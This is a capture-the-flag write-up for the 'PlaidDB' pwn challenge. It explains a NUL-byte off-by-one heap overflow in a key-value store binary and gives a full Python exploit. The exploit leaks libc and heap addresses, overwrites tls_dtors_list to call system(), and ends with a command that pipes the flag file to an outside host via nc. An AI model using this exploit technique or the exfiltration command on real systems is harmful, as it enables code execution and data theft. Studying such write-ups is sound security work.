FR EN

PlaidDB - pwn 550

PlaidDB is an x64 stripped executable, compiled with full RELRO, PIE and NX support. It's libc was provided, seemingly from Ubuntu LTS 14.04. It manages key-value pairs which one can add, update, retrieve or delete:

$ ./datastore 
INFO: Welcome to the PlaidDB data storage service.
INFO: Valid commands are GET, PUT, DUMP, DEL, EXIT
PROMPT: Enter command:
PUT
PROMPT: Enter row key:
key1
PROMPT: Enter data size:
2
PROMPT: Enter data:
K
INFO: Insert successful.
PROMPT: Enter command:
PUT 
PROMPT: Enter row key:
key2
PROMPT: Enter data size:
3
PROMPT: Enter data:
KK
INFO: Insert successful.
PROMPT: Enter command:
PUT
PROMPT: Enter row key:
key1
PROMPT: Enter data size:
2
PROMPT: Enter data:
A
INFO: Update successful.
PROMPT: Enter command:
DUMP
INFO: Dumping all rows.
INFO: Row [key1], 2 bytes
INFO: Row [key2], 3 bytes
INFO: Row [th3fl4g], 8 bytes
PROMPT: Enter command:
GET
PROMPT: Enter row key:
key1
INFO: Row data [2 bytes]:
A
PROMPT: Enter command:
EXIT 

The vulnerability lies in the function at 0x1040, used to get the key values from standard input:

	
char *get_raw() {
  key = malloc(8);
  ptr = key;
  chunk_sz = malloc_usable_size(key);
  while ( 1 ) {
    c = _IO_getc(stdin);
    if ( c == -1 ) do_exit();
    if ( c == '\n' ) break;
    v5 = ptr - key;
    if ( chunk_sz <= ptr - (_BYTE *)key ) {
      v6 = realloc(key, 2 * chunk_sz);
      key = v6;
      if ( !v6 ) {
	puts("FATAL: Out of memory");
	exit(-1);
      }
      ptr = (char *)v6 + v5;
      chunk_sz = malloc_usable_size(v6);
    }
    *ptr++ = c;
  }
  *ptr = 0;
  return key;
}

This function is off-by-one when it inserts the terminating NUL byte, as demonstrated below:

$ ./datastore 
INFO: Welcome to the PlaidDB data storage service.
INFO: Valid commands are GET, PUT, DUMP, DEL, EXIT
PROMPT: Enter command:
PUT
PROMPT: Enter row key:
a
PROMPT: Enter data size:
2
PROMPT: Enter data:
a
INFO: Insert successful.
PROMPT: Enter command:
PUT
PROMPT: Enter row key:
b
PROMPT: Enter data size:
2
PROMPT: Enter data:
a
INFO: Insert successful.
PROMPT: Enter command:
DEL
PROMPT: Enter row key:
a
INFO: Delete successful.
PROMPT: Enter command:
PUT
PROMPT: Enter row key:
AAAAAAAAAAAAAAAAAAAAAAAA
PROMPT: Enter data size:
2
PROMPT: Enter data:
a
INFO: Insert successful.
PROMPT: Enter command:
DEL
PROMPT: Enter row key:
AAAAAAAAAAAAAAAAAAAAAAAA
*** Error in `./datastore': free(): invalid pointer: 0x00007ff37899d0f0 ***
Aborted

In the previous example I used a key size of 0x18, which is the minimal chunk length. This sets the size of the chunk immediately after to 0 (in this case, the chunk that will contain the "data" allocated afterwards), which induces a free() error when those chunks are deleted.

A NUL byte off-by-one in the heap looks like a rough situation to be in. <brag>Fortunatetly, I wrote a paper about that very situation a couple of months ago</brag>, shamelessly based on Project Zero's work around CVE-2014-5119 last summer. The idea of the exploitation is to craft the heap so that the overflow corrupts a free chunk, the size of which is larger than 0x100 and with a least significant byte not equal to 0. In that case the NUL off-by-one shrinks the size of this free chunk by whatever the least significant byte was. Subsequent allocations within that chunk do not properly update the prev_size of the next chunk (last dword in the free chunk's space). If we reach a point where this next chunk is freed and the beginning of the corrupted chunk is also free (and mergeable, so not a fastbin), then both chunks will be merged in one big free chunk, even if chunks were allocated in between:

  • 1. Original heap shape
  • | off-by-one chunk | free chunk A, sz = 0xXXYY | allocated chunk B |
        
  • 2. Trigger the off-by-one
  • | off-by-one chunk | free chunk A, sz = 0xXX00 | allocated chunk B |
        
  • 3. Allocate chunks within A
  • | off-by-one chunk | A1   | A2 | free space    | allocated chunk B |
        
  • 4. Free A1
  • | off-by-one chunk | free | A2 | free space    | allocated chunk B |
        

At that point, upon freeing B, a big free chunk of size sz(A) + sz(B) is created and A2 would be overwritten by subsequent allocations within this chunk.

Getting back to our datastore, the chunks we want to target are the key-value pairs metadata which look like the following:

struct pair {
 char * key;
 long size;
 char * data;
 struct pair * prev;
 struct pair * next;
 void * ptr1;
 void * ptr2;
}

I didn't reverse the parts where ptr1 and ptr2 were used so I am not sure what their actual purpose was - probably a second linked list ordering the pairs differently. As the executable is PIE, we first need to leak addresses before going any further. A useful feature of the executable for that will be the dump method, which outputs the content of the key as well as the "size" field. If we can craft the heap so that one of those struct pair chunks coincides with a new free chunk, we can set those two fields to libc BSS addresses, by allocating a chunk that finishes just before the targeted struct. The start of the free chunk will then be the targeted struct pair, and it's first two longs will be replaced by freelist pointers from the main arena in libc's BSS.

With knowledge of a libc BSS address, we can deduce the libc and executable's bases. We can now completely overwrite the targeted struct pair, with arbitrary addresses as the key to get arbitrary leaks. This allows us to check that the base addresses we have indeed point to ELF headers, and adjust if it isn't the case. By leaking the arena address we got in the first place or the linked list's head from the BSS, we can deduce the heap base as well:

#!/usr/bin/python
import sys
import socket
import re
import struct

HOST = "52.4.86.204"
PORT = 64613

row_re = re.compile("INFO: Row \[(.*)\], ([0-9]+) bytes") 

s = socket.socket()
s.connect((HOST, PORT))

def rd_until(t="\n"):
 txt = ""
 while 1:
  txt += s.recv(1)
  if txt.endswith(t):
   break
 sys.stderr.write(txt)
 sys.stderr.flush()
 return txt

# mrealloc(key)
def do_get(key):
 s.sendall("GET" + "\n")
 s.sendall(key + "\n")

# malloc(0x38), mrealloc(key), malloc(data)
def do_put(key, data):
 s.sendall("PUT" + "\n")
 s.sendall(key + "\n")
 s.sendall(str(len(data)) + "\n")
 s.sendall(data)

# mrealloc(key) + frees
def do_del(key):
 s.sendall("DEL" + "\n")
 s.sendall(key + "\n")

def do_dump():
 s.sendall("DUMP\n")


do_put("k1", "A"*0x100)
do_put("k1", "B"*0x220) # update k1 to create a hole in the heap
do_put("k2", "C"*0x80) # placeholder for where the overflow will happen
do_put("k3", "D"*0x230) # free chunk, the prev_size of which will be inconsistent after the overflow

do_del("k1")
do_del("k2")

do_put("k4", "E"*0x300) #stabilise end of heap
do_put("k"*0x18, "F"*0x101) # overflow into free chunk and allocate a small chunk at the beginning of it

do_put("target", (" ".join(sys.argv[1:]) + "\x00").ljust(0x400)) # the targeted struct pair chunk, also containing the system() payload for the final stage

do_del("k"*0x18 + "\x11\x01") # remove beginning of corrupted chunk (have to append the size of the chunk that got allocated immediately after | 1 for PREV_INUSE)
do_del("k3") # coalesce backwards into one big chunk


do_put("yolo", "\x10"*0x100) # set the first two longs of the targeted chunk to a heap arena address
do_del("yolo")

do_dump()

# get heap base
i = 0
while 1:
 line = rd_until()
 rx = row_re.search(line)
 if rx != None:
  i += 1
  if i == 2:
   arena_orig = int(rx.group(2))
   libc_bss_base = arena_orig & ~0xfff
  elif i == 3:
   break
print "[+] Libc BSS", hex(libc_bss_base)
libc_base = libc_bss_base - 0x3be000
print "[+] Libc base", hex(libc_base)
exe_base = libc_bss_base + 0x22c000
print "[+] Exe base", hex(exe_base)

# moar leaks to check & retrieve heap base
do_del("yolo")
fake_struct = [ libc_base, 0x123, 0, 0, 0, 0, 0]
fake_struct = "".join([struct.pack("<Q", x) for x in fake_struct])
do_put("yolo", "X"*0x110 + fake_struct)
do_dump()
do_del("yolo")
fake_struct = [ exe_base + 0x203018, 0x123, 0, 0, 0, 0, 0] # linked list head from the BSS
fake_struct = "".join([struct.pack("<Q", x) for x in fake_struct])
do_put("yolo", "X"*0x110 + fake_struct)
do_dump()
do_del("yolo")
fake_struct = [ arena_orig, 0x123, 0, 0, 0, 0, 0]
fake_struct = "".join([struct.pack("<Q", x) for x in fake_struct])
do_put("yolo", "X"*0x110 + fake_struct)
do_dump()
do_del("yolo")

i = 0
while 1:
 line = rd_until()
 rx = row_re.search(line)
 if rx != None:
  i += 1
  if i == 3:
   heap_base = struct.unpack("<Q", rx.group(1).ljust(8, "\x00"))[0] & ~0xfff
  elif i == 6:
   break

print "[+] Heap", hex(heap_base)

Most chunk sizes don't really matter -I used different ones to easily sort out which chunk is which in traces. Sample execution:

$ ./sploit.py ""
INFO: Welcome to the PlaidDB data storage service.
INFO: Valid commands are GET, PUT, DUMP, DEL, EXIT
PROMPT: Enter command:
PROMPT: Enter row key:
PROMPT: Enter data size:
PROMPT: Enter data:
INFO: Insert successful.
PROMPT: Enter command:
PROMPT: Enter row key:
PROMPT: Enter data size:
PROMPT: Enter data:
INFO: Update successful.
PROMPT: Enter command:
PROMPT: Enter row key:
PROMPT: Enter data size:
PROMPT: Enter data:
INFO: Insert successful.
PROMPT: Enter command:
PROMPT: Enter row key:
PROMPT: Enter data size:
PROMPT: Enter data:
INFO: Insert successful.
PROMPT: Enter command:
PROMPT: Enter row key:
INFO: Delete successful.
PROMPT: Enter command:
PROMPT: Enter row key:
INFO: Delete successful.
PROMPT: Enter command:
PROMPT: Enter row key:
PROMPT: Enter data size:
PROMPT: Enter data:
INFO: Insert successful.
PROMPT: Enter command:
PROMPT: Enter row key:
PROMPT: Enter data size:
PROMPT: Enter data:
INFO: Insert successful.
PROMPT: Enter command:
PROMPT: Enter row key:
PROMPT: Enter data size:
PROMPT: Enter data:
INFO: Insert successful.
PROMPT: Enter command:
PROMPT: Enter row key:
INFO: Delete successful.
PROMPT: Enter command:
PROMPT: Enter row key:
INFO: Delete successful.
PROMPT: Enter command:
PROMPT: Enter row key:
PROMPT: Enter data size:
PROMPT: Enter data:
INFO: Insert successful.
PROMPT: Enter command:
PROMPT: Enter row key:
INFO: Delete successful.
PROMPT: Enter command:
INFO: Dumping all rows.
INFO: Row [k4], 768 bytes
INFO: Row [��Z�], 139992434255800 bytes
INFO: Row [th3fl4g], 8 bytes
[+] Libc BSS 0x7f528750a000
[+] Libc base 0x7f528714c000
[+] Exe base 0x7f5287736000
PROMPT: Enter command:
PROMPT: Enter row key:
ERROR: Row not found.
PROMPT: Enter command:
PROMPT: Enter row key:
PROMPT: Enter data size:
PROMPT: Enter data:
INFO: Insert successful.
PROMPT: Enter command:
INFO: Dumping all rows.
INFO: Row [yolo], 328 bytes
INFO: Row ELF], 291 bytes
PROMPT: Enter command:
PROMPT: Enter row key:
INFO: Delete successful.
PROMPT: Enter command:
PROMPT: Enter row key:
PROMPT: Enter data size:
PROMPT: Enter data:
INFO: Insert successful.
PROMPT: Enter command:
INFO: Dumping all rows.
INFO: Row [p�Z�], 291 bytes
INFO: Row [yolo], 328 bytes
PROMPT: Enter command:
PROMPT: Enter row key:
INFO: Delete successful.
PROMPT: Enter command:
PROMPT: Enter row key:
PROMPT: Enter data size:
PROMPT: Enter data:
INFO: Insert successful.
PROMPT: Enter command:
INFO: Dumping all rows.
INFO: Row [yolo], 328 bytes
INFO: Row [��Z�], 291 bytes
[+] Heap 0x7f52885ae000

Wonderful. Now time to find an arbitrary memory write somewhere. The "delete" functionality sounds like a great place to find an unlink()-style write. Relevant parts from the delete function (0x1470):

void do_delete() {
  puts("PROMPT: Enter row key:");
  key = get_raw();
  todelete = dbstruct_head;
LABEL_2:
  if ( !todelete )
    return puts("ERROR: Row not found.");
  while ( 1 ) {
    todelete_key = (const char *)todelete->key;
    v3 = strcmp(puts, (const char *)todelete->key);
    if ( v3 < 0 ) {
      todelete = todelete->prev;
      goto LABEL_2;
    }
    if ( !v3 )
      break;
    todelete = todelete->next;
    if ( !todelete )
      return puts("ERROR: Row not found.");
  }
  todelete_next = todelete->prev;
  if ( todelete_next ) // todelete_prev
[...]
  else {
    todelete_next = todelete->next;
    todelete_ptr1 = todelete->ptr1;
    v26 = todelete->ptr2;
    if ( !todelete_next ) goto LABEL_64;
  }
  todelete_next->ptr1 = todelete_ptr1;
LABEL_64:
  if ( todelete_ptr1 ) {
    if ( todelete_ptr1->prev == todelete )
      todelete_ptr1->prev = todelete_ptr1;
    else
      todelete_ptr1->next = todelete_ptr1;
  }
  else {
    dbstructs_head = todelete_next;
  }
  
  if ( v26 ) goto LABEL_29;
[...]  
LABEL_29:
  free((void *)todelete_key);
  free((void *)todelete->data);
  free(todelete);
  free((void *)key);
  puts("INFO: Delete successful.");
}

So, if todelete->prev is null, we have todelete->next->ptr1 = todelete->ptr1. However, this also triggers a todelete->ptr1->next = todelete->ptr1 before going straight to the end of the function if todelete->ptr2 is not equal to 0. Both todelete->ptr1 and todelete->next need to point to a writeable region, so we can't just overwrite a function pointer by an arbitrary libc address. I chose to target the tls_dtors_list, as it conveniently stores both a function pointer and an argument in a writeable region. The last part of the exploit is therefore to do a final overwrite of the pair struct, with its key pointing to a valid, allocated heap chunk (in the example below I use heap_base+0x50 which is the original address of th3fl4g's key chunk), and with the "prev" field set to 0, the "next" field to tls_dtors_list - 0x28, the "ptr1" field pointing to a heap address we control and "ptr2" being non-null. ptr1 (our fake tls_dtors_list) points to a heap region where we place two pointers, the first one being system() and the second another heap address we control (the argument):

print "[+] Heap", hex(heap_base)

tls_dtor = libc_base + 0x5e26f0
tls_dtor -= 0x5000 # offset for remote system if needed

# Final struct to trigger the unlink()-style overwrite of tls_dtors_list
# *tls_dtor = heap_base + 0x260 + 0x40 (0x40 bytes into the chunk before the overwritten one), prev = 0, ptr2 != 0, key is freeable
fake_struct = [ heap_base + 0x50, 0x123, 0, 0, tls_dtor - 0x28, heap_base + 0x260 + 0x40, 1]
fake_struct = "".join([struct.pack("<Q", x) for x in fake_struct])

# "A"*0x40 (some of it is gonna be overwritten) + @system + @target_data (the original data associated with the overwritten chunk)
# have to forge the fake_struct's chunk header as it's gonna get freed after the do_del
do_put("th3fl4g", ("A"*0x40 + struct.pack("<Q", libc_base + 0x46640) + struct.pack("<Q", heap_base + 0x9e0)).ljust(0x108) + struct.pack("<Q", 0x41) + fake_struct)
do_del("th3fl4g")

# this will trigger the dtor
s.sendall("EXIT" + "\n")
s.close()

print "[+] All done"

If we use the provided libc to extract addresses, the tls_dtors_list we obtain will have the same alignment as the remote one, but the offset may still vary depending on ld-linux's actual size. A little page-by-page bruteforce may be required to get the correct offset (in my case it was -0x5000). Last thing to do is to fire the exploit:

$ ./sploit.py "cat /home/plaiddb/flag | nc <host> 31337"
INFO: Welcome to the PlaidDB data storage service.
INFO: Valid commands are GET, PUT, DUMP, DEL, EXIT
[...]
INFO: Dumping all rows.
INFO: Row [k4], 768 bytes
INFO: Row [��Y�], 140380975044536 bytes
INFO: Row [th3fl4g], 8 bytes
[+] Libc BSS 0x7facfe269000
[+] Libc base 0x7facfdeab000
[+] Exe base 0x7facfe495000
PROMPT: Enter command:
PROMPT: Enter row key:
ERROR: Row not found.
PROMPT: Enter command:
PROMPT: Enter row key:
PROMPT: Enter data size:
PROMPT: Enter data:
INFO: Insert successful.
PROMPT: Enter command:
INFO: Dumping all rows.
INFO: Row [yolo], 328 bytes
INFO: Row ELF], 291 bytes
PROMPT: Enter command:
PROMPT: Enter row key:
INFO: Delete successful.
PROMPT: Enter command:
PROMPT: Enter row key:
PROMPT: Enter data size:
PROMPT: Enter data:
INFO: Insert successful.
PROMPT: Enter command:
INFO: Dumping all rows.
INFO: Row [p�Y�], 291 bytes
INFO: Row [yolo], 328 bytes
PROMPT: Enter command:
PROMPT: Enter row key:
INFO: Delete successful.
PROMPT: Enter command:
PROMPT: Enter row key:
PROMPT: Enter data size:
PROMPT: Enter data:
INFO: Insert successful.
PROMPT: Enter command:
INFO: Dumping all rows.
INFO: Row [yolo], 328 bytes
INFO: Row [��Y�], 291 bytes
[+] Heap 0x7facff599000
[+] All done

And stare at the listening netcat whilst praying:

$ nc -lp 31337
flag{one_null_byte_t0_rul3_them_all_4ecd68f0}
$

Et voilà. Apologies for the ugly exploit code, but I know I won't take the time to clean it up anyway.